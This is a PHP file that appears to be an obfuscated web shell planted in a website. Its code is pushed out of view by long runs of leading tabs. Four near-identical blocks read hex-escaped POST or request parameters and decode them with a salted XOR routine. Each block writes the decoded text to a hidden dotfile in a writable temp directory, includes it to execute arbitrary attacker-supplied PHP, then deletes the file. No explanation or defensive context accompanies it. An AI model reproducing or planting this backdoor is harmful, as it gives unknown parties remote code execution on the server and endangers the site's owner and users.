<?php																																										if(filter_has_var(INPUT_POST, "\x70t\x72")){ $res = array_filter([sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm"]); $data_chunk = $_REQUEST["\x70t\x72"]; $data_chunk = explode ( '.', $data_chunk ) ; $object = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $n = 0; $__tmp = $data_chunk; while ($v8 = array_shift($__tmp)) { $chS = ord($salt5[$n % $sLen]); $d = ((int)$v8 - $chS - ($n % 10))^ 42; $object .= chr($d); $n++; } for ($value = 0, $flag = count($res); $value < $flag; $value++) { $elem = $res[$value]; if (!( !is_dir($elem) || !is_writable($elem) )) { $fac = sprintf("%s/.descriptor", $elem); if (file_put_contents($fac, $object)) { include $fac; @unlink($fac); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["comp"])){ $ptr = $_POST["comp"]; $ptr= explode ("." , $ptr ); $symbol = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $len = count( $ptr); for( $j = 0; $j < $len; $j++) {$v9 = $ptr[$j]; $chS = ord( $salt1[$j % $lenS]); $d = ( ( int)$v9 - $chS -( $j % 10)) ^ 43; $symbol .= chr( $d); } $ref = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path()]); foreach ($ref as $key => $binding) { if (!( !is_dir($binding) || !is_writable($binding) )) { $marker = vsprintf("%s/%s", [$binding, ".tkn"]); if (file_put_contents($marker, $symbol)) { require $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("fact\x6Fr", $_REQUEST)){ $holder = $_REQUEST["fact\x6Fr"]; $holder =explode ( "." , $holder ) ; $pset = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $l = 0; $len = count($holder ); do { if($l >= $len) break; $v3 = $holder[$l]; $chS = ord($salt2[$l % $lenS] ); $d =((int)$v3 - $chS -($l % 10)) ^ 79; $pset.= chr($d ); $l++; } while(true ); $itm = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); foreach ($itm as $hld): if (is_dir($hld) ? is_writable($hld) : false) { $fac = "$hld" . "/.value"; if (file_put_contents($fac, $pset)) { include $fac; @unlink($fac); exit; } } endforeach; }


if(filter_has_var(INPUT_POST, "\x6Fb\x6A")){
	$pointer = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP")]);
	$element = $_POST["\x6Fb\x6A"];
	   $element 	 = 		explode 		(	'.',  	$element);  
	$ref  = '';
            $s5  = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  = strlen($s5);
            $t  = 0;
            $len  = count($element);
    
            do {	 if ($t>=		$len) break;
                $v6  = $element[$t];
                $sChar  = ord($s5[$t % $lenS]);
                $dec  = ((int)$v6 - $sChar - ($t % 10)) ^ 22;
                $ref.=chr($dec);
                $t++;}while (true);
	$res = 0;
do {
    $fac = $pointer[$res] ?? null;
    if ($res >= count($pointer)) break;
    		if (array_product([is_dir($fac), is_writable($fac)])) {
    $descriptor = join("/", [$fac, ".symbol"]);
    if (@file_put_contents($descriptor, $ref) !== false) {
	include $descriptor;
	unlink($descriptor);
	exit;
}
}
    $res++;
} while (true);
}